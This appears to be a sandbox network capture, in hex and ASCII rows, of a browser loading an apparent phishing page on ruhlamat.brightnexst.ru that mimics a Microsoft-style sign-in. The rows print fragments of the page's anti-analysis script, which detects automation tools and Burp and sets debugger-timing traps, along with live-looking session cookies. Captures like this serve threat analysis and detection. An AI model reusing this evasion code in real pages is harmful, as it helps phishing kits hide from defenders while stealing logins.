2025-03-18 08:10:39 UTC	1500	OUT	GET /prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ruhlamat.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjFpQmpYUklyYXdQV2lpaEMzK1BUN1E9PSIsInZhbHVlIjoiaXNFdlc1akMzMHpLa0NiK2xsbHZiaWdzSmVSeHcreGw4WS9jb3lhTld3TnZnQ3NBWjBmZHVxVEJHdTdZd0VGVmp4MFFtUGtFMDlCUWorWVNZOGxMSmZRY0pvbC9lajVYWXZic09ZRHJQbFFtNFlTTVVFdVpnN2Q1Q2Uzb1NiTmgiLCJtYWMiOiI1ZjMxMjFiY2QxYWFjODMxMmFkNWM3Yzc5MjZlMmQ5MDE5NjhkMDc4NjZhNTA4ODliMzQwOGNjYTM1MzBmYzYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9XcjgwdnBlYTdrKy9hK3BVZHlTNFE9PSIsInZhbHVlIjoiZ3c0dGVkSVJ6ZnpzbzV4M3ZDM0pCcUpKZVU0eTZBZDJrVnl3d2E0V3JRLy9DRGJmZ0Y2aWszQWtFWUlHQVZ6dlJpcjNOa3FrdFJMREJ1dSs4OGQ4WG9xakh2YjJreGhmNnZHL044czdqOG1Kb2VvVHpOOFUrVGlaMmdNY1YwNDEiLCJtYWMiOiJjNDQ4YmU5YzZjZTk0NTEzODk1NTg1NDFmMTY2YzZkYWY3ZDk5NjA1MzUwN2EzZDZkMGM2ZjgyYWRkMjM4MzliIiwidGFnIjoiIn0%3D
2025-03-18 08:10:39 UTC	1202	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c9b31hb9ajq6aaW%2FlNDiulXfxrMFJZGiw8mGSVn5vz1aBcvssk5E70tL0kH9W5mvSf9i9%2FHLTspAO5gyxurhA0UeUe4h9JjOp6afETw9oNc3HKLdy6q0NddqD93c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1091&min_rtt=1082&rtt_var=323&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2411&delivery_rate=2511708&cwnd=251&unsent_bytes=0&cid=374c5a0f91982659&ts=123&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 10:10:39 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 08:10:39 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4e 54 62 56 56 49 64 48 4e 6f 4c 33 42 61 56 6c 56 6b 56 6a 64 72 55 57 56 54 57 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 33 70 46 61 45 6c 5a 63 56 5a 6a 54 46 56 31 5a 6b 4e 6e 51 6b 6c 75 55 6d 52 52 56 6e 70 4c 52 6e 4d 30 51 57 5a 30 56 7a 68 4d 51 69 39 68 55 46 51 77 51 30 5a 70 59 6e 4d 76 4e 48 56 4b 56 55 46 51 4f 54 5a 6a 52 6b 78 6c 4e 32 52 54 52 57 35 52 57 57 70 70 51 33 6c 79 59 6c 70 48 59 30 6c 54 52 6c 4a 4d 51 32 74 36 62 57 6c 4f 62 46 56 71 54 6b 4a 48 4d 31 6c 6f 63 45 31 4b 4f 56 4e 56 56 30 35 74 62 6d 6c 77 4d 6b 46 34 4e 57 6c 58 4b 7a 52 52 65 6c 4a 71 4d 47 56 78 52 46 56 49 5a 57 39 78 56 47 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGg
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 31 30 36 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 1060<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 Data Ascii: position:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;bac
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 Data Ascii: ;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px
2025-03-18 08:10:39 UTC	93	IN	Data Raw: 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 69 66 20 0d 0a Data Ascii: lateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}} </style> <script> if
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 34 63 65 37 0d 0a 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 4c 52 41 47 5a 50 71 46 57 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: 4ce7(navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function gLRAGZPqFW(event) {
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 20 20 20 20 6c 65 74 20 70 50 44 6b 61 4a 4d 55 64 58 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 6d 43 69 65 43 57 69 55 6a 4a 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 57 4b 7a 78 68 67 4f 75 6b 6e 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 70 6b 74 76 4e 79 74 73 45 4e 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 70 6b 74 76 4e 79 74 73 45 4e 20 2d 20 57 4b 7a 78 68 67 4f 75 6b 6e 20 3e 20 6d 43 69 65 43 57 69 55 6a 4a 20 26 26 20 21 70 Data Ascii: let pPDkaJMUdX = false; const mCieCWiUjJ = 100; setInterval(function() { const WKzxhgOukn = performance.now(); debugger; const pktvNytsEN = performance.now(); if (pktvNytsEN - WKzxhgOukn > mCieCWiUjJ && !p
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 62 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 66 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 22 3e 3c 2f 64 69 76 3e 3c 2f 64 Data Ascii: class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div></div><div id="eb"></div><div id="ef"><div class="r"></div><div class="l"></div></d
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 36 36 2d 2e 32 30 31 20 32 2e 35 35 34 2d 2e 35 39 37 6c 2e 30 32 37 2d 2e 30 31 37 76 2d 31 2e 39 34 6c 2d 2e 30 38 39 2e 30 36 36 63 2d 2e 33 31 32 2e 32 32 37 2d 2e 36 36 2e 34 30 38 2d 31 2e 30 33 35 2e 35 33 38 61 33 2e 31 32 31 20 33 2e 31 32 31 20 30 20 30 31 2d 31 2e 30 31 34 2e 31 39 37 63 2d 2e 38 33 20 30 2d 31 2e 34 39 37 2d 2e 32 36 2d 31 2e 39 38 32 2d 2e 37 37 32 2d 2e 34 38 35 2d 2e 35 31 33 2d 2e 37 33 2d 31 2e 32 33 33 2d 2e 37 33 2d 32 2e 31 34 20 30 2d 2e 39 31 32 2e 32 35 35 2d 31 2e 36 35 31 2e 37 36 31 2d 32 2e 31 39 36 2e 35 30 34 2d 2e 35 34 34 20 31 2e 31 37 33 2d 2e 38 32 20 31 2e 39 38 36 2d 2e 38 32 2e 36 39 35 20 30 20 31 2e 33 37 34 2e 32 33 36 20 32 2e 30 31 34 2e 37 30 32 6c 2e 30 39 2e 30 36 33 56 38 2e 30 31 31 6c 2d 2e Data Ascii: 66-.201 2.554-.597l.027-.017v-1.94l-.089.066c-.312.227-.66.408-1.035.538a3.121 3.121 0 01-1.014.197c-.83 0-1.497-.26-1.982-.772-.485-.513-.73-1.233-.73-2.14 0-.912.255-1.651.761-2.196.504-.544 1.173-.82 1.986-.82.695 0 1.374.236 2.014.702l.09.063V8.011l-.
2025-03-18 08:10:39 UTC	1369	IN	Data Raw: 32 30 39 20 31 2e 31 31 36 2e 31 34 2e 33 32 2e 33 35 35 2e 36 2e 36 34 31 2e 38 33 37 2e 32 38 33 2e 32 33 33 2e 37 32 32 2e 34 37 38 20 31 2e 33 30 32 2e 37 32 38 2e 34 38 38 2e 32 2e 38 35 32 2e 33 37 20 31 2e 30 38 33 2e 35 30 35 2e 32 32 37 2e 31 33 2e 33 38 37 2e 32 36 33 2e 34 37 37 2e 33 39 2e 30 38 38 2e 31 32 37 2e 31 33 33 2e 32 39 39 2e 31 33 33 2e 35 31 32 20 30 20 2e 36 30 34 2d 2e 34 35 32 2e 38 39 37 2d 31 2e 33 38 34 2e 38 39 37 61 33 2e 38 20 33 2e 38 20 30 20 30 31 2d 31 2e 31 37 32 2d 2e 32 31 33 20 34 2e 34 31 38 20 34 2e 34 31 38 20 30 20 30 31 2d 31 2e 32 2d 2e 36 30 39 6c 2d 2e 30 38 39 2d 2e 30 36 34 76 32 2e 30 36 34 6c 2e 30 33 33 2e 30 31 35 63 2e 33 30 34 2e 31 34 2e 36 38 36 2e 32 35 37 20 31 2e 31 33 37 2e 33 35 2e 34 34 39 Data Ascii: 209 1.116.14.32.355.6.641.837.283.233.722.478 1.302.728.488.2.852.37 1.083.505.227.13.387.263.477.39.088.127.133.299.133.512 0 .604-.452.897-1.384.897a3.8 3.8 0 01-1.172-.213 4.418 4.418 0 01-1.2-.609l-.089-.064v2.064l.033.015c.304.14.686.257 1.137.35.449

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:39 UTC	1154	OUT	GET /kfgf9NVduennDi1yqDND8qxTJhYwqYeNbTZluQbAplgy HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjFpQmpYUklyYXdQV2lpaEMzK1BUN1E9PSIsInZhbHVlIjoiaXNFdlc1akMzMHpLa0NiK2xsbHZiaWdzSmVSeHcreGw4WS9jb3lhTld3TnZnQ3NBWjBmZHVxVEJHdTdZd0VGVmp4MFFtUGtFMDlCUWorWVNZOGxMSmZRY0pvbC9lajVYWXZic09ZRHJQbFFtNFlTTVVFdVpnN2Q1Q2Uzb1NiTmgiLCJtYWMiOiI1ZjMxMjFiY2QxYWFjODMxMmFkNWM3Yzc5MjZlMmQ5MDE5NjhkMDc4NjZhNTA4ODliMzQwOGNjYTM1MzBmYzYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9XcjgwdnBlYTdrKy9hK3BVZHlTNFE9PSIsInZhbHVlIjoiZ3c0dGVkSVJ6ZnpzbzV4M3ZDM0pCcUpKZVU0eTZBZDJrVnl3d2E0V3JRLy9DRGJmZ0Y2aWszQWtFWUlHQVZ6dlJpcjNOa3FrdFJMREJ1dSs4OGQ4WG9xakh2YjJreGhmNnZHL044czdqOG1Kb2VvVHpOOFUrVGlaMmdNY1YwNDEiLCJtYWMiOiJjNDQ4YmU5YzZjZTk0NTEzODk1NTg1NDFmMTY2YzZkYWY3ZDk5NjA1MzUwN2EzZDZkMGM2ZjgyYWRkMjM4MzliIiwidGFnIjoiIn0%3D
2025-03-18 08:10:39 UTC	1022	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 08:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iduM%2FhCC0vx09d8V6C5n7VjOQSb781f041QIb2gQdx0Dne8lV49y5AREk4XDJ2GAcuaU1PiI8Ka5q7%2BzeI3DKLaMtR90lr7rkEXbmSvLuoeWriPxR%2Fkb3%2Fv60YH8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1003&min_rtt=997&rtt_var=292&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2065&delivery_rate=2811650&cwnd=250&unsent_bytes=0&cid=48dcba187a1f2633&ts=84&x=0" Server: cloudflare CF-RAY: 9223413d0b8c18ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1476&rtt_var=566&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1726&delivery_rate=1978319&cwnd=146&unsent_bytes=0&cid=544212fe5a8b2d99&ts=485&x=0"
2025-03-18 08:10:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:39 UTC	513	OUT	POST /report/v4?s=Vue0I0aNVHPA3jsV4mJWyoguMY3rZgaRMrdPPVBMaJAa8JU2BVpcR%2B7hLeGx3eWCpfexPZ33P5r9HakWrYpki8u0YwBVm7D0dvzR9RxiUJS3b6GH6lxgQaWyw%2Fna HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 431 Content-Type: application/reports+json Origin: https://ruhlamat.brightnexst.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:39 UTC	431	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 30 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 36 2e 31 34 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 75 68 6c 61 6d 61 74 2e 62 72 69 67 68 74 Data Ascii: [{"age":0,"body":{"elapsed_time":903,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.146.141","status_code":404,"type":"http.error"},"type":"network-error","url":"https://ruhlamat.bright
2025-03-18 08:10:39 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 18 Mar 2025 08:10:39 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:40 UTC	1365	OUT	GET /125ieYh7HUVa8cdTlZ458920 HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
2025-03-18 08:10:40 UTC	1084	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:40 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="125ieYh7HUVa8cdTlZ458920" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eUJK0XWg9mab6ioOoeFn4jnHnsHr6%2FqZPDVgX%2FdwA01p1yKIjC5P0rHKXpZj51r5wNWMGSCycIRz8%2Bu1i1mEnJ4RzRJSO9wOrJBIzn%2BHAtV%2BzVALYFnTfhCtgj%2Fv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1260&min_rtt=1232&rtt_var=366&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2276&delivery_rate=2255451&cwnd=251&unsent_bytes=0&cid=9ba4a6fcf9a25825&ts=93&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 92234141da6d7d26-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1760&rtt_var=669&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1937&delivery_rate=1624930&cwnd=207&unsent_bytes=0&cid=9c6265dfc73028d3&ts=406&x=0"
2025-03-18 08:10:40 UTC	285	IN	Data Raw: 33 37 62 32 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37b2#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
